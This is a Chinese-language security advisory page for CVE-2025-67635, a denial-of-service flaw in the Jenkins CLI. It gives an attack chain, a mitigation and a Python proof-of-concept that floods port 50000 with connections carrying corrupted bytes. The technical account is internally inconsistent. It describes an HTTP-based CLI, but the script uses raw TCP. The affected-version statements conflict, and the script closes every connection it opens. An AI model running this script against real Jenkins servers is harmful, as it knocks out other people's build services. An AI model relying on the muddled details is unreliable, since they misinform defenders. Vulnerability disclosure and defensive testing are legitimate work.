IPBUF安全漏洞报告
English
CVE-2025-67635 CVSS 7.5 高危

CVE-2025-67635 Jenkins HTTP CLI连接未正确关闭导致拒绝服务漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-67635
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Jenkins

相关标签

拒绝服务JenkinsCLI资源耗尽HTTP网络攻击无需认证

漏洞概述

Jenkins 2.540及之前版本以及LTS 2.528.2及之前版本存在一个拒绝服务漏洞。该漏洞源于Jenkins在处理HTTP-based CLI连接时,当连接流出现损坏(corrupted)情况时,未能正确关闭相关连接资源。攻击者无需任何认证即可利用此漏洞,通过构造特定的恶意请求使CLI连接流损坏,从而触发资源耗尽,导致Jenkins服务出现拒绝服务状态。由于该漏洞可通过网络远程利用,且无需用户交互,攻击门槛较低,对使用Jenkins CI/CD系统的组织构成严重安全威胁。攻击成功后将导致Jenkins实例无法正常提供服务,影响持续集成和部署流程的正常运行。

技术细节

Jenkins的CLI(Command Line Interface)功能通过HTTP协议进行通信。在正常情况下,当CLI连接完成后,Jenkins会释放相关资源。然而,当连接流数据出现损坏时,Jenkins未能正确执行清理和关闭操作,导致文件描述符、内存等资源未被释放。攻击者可以通过发送精心构造的畸形数据或中断连接来触发这种异常状态。反复触发此漏洞会导致服务器资源逐渐耗尽,最终导致服务不可用。由于Jenkins的CLI默认启用且无认证保护,攻击者可以直接向CLI端口发送恶意请求。CVSS向量显示攻击复杂度低(AC:L),无需认证(PR:N)和用户交互(UI:N),可用性影响为高(A:H),表明该漏洞在实际环境中易于利用且影响严重。

攻击链分析

STEP 1
步骤1
攻击者识别目标Jenkins服务器及其CLI端口(默认50000)
STEP 2
步骤2
攻击者向Jenkins CLI端口建立多个TCP连接
STEP 3
步骤3
发送损坏的CLI协议数据或故意中断连接,触发连接流异常
STEP 4
步骤4
Jenkins无法正确关闭损坏的连接,导致文件描述符和内存资源未释放
STEP 5
步骤5
重复触发漏洞导致服务器资源耗尽,Jenkins服务停止响应请求
STEP 6
步骤6
持续集成/部署流程中断,造成业务损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-67635 PoC - Jenkins CLI Connection DoS This PoC demonstrates the denial of service vulnerability in Jenkins CLI. """ import socket import time def exploit_jenkins_cli_dos(target_ip, target_port=50000): """ Exploit Jenkins CLI connection stream corruption leading to resource exhaustion. """ try: # Create multiple connections with corrupted data connections = [] for i in range(100): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Send corrupted/incomplete CLI protocol data # This mimics a malformed CLI handshake corrupted_data = b'\x00\x01\x02\x03\x04\xff\xfe\xfd' sock.send(corrupted_data) # Close connection abruptly without proper termination # This leaves server-side resources in corrupted state connections.append(sock) except Exception as e: print(f'Connection {i} failed: {e}') print(f'[*] Sent {len(connections)} corrupted CLI connections') print('[*] Target may have resource exhaustion. Check Jenkins availability.') # Cleanup for sock in connections: try: sock.close() except: pass except Exception as e: print(f'[-] Exploit failed: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 exploit_jenkins_cli_dos(target, port)

影响范围

Jenkins < 2.540
Jenkins LTS < 2.528.2

防御指南

临时缓解措施
如果无法立即升级,可通过防火墙限制对Jenkins CLI端口(默认50000)的访问,仅允许内网可信IP访问。同时监控Jenkins进程的文件描述符数量和内存使用情况,当发现异常增长时及时重启服务以释放资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表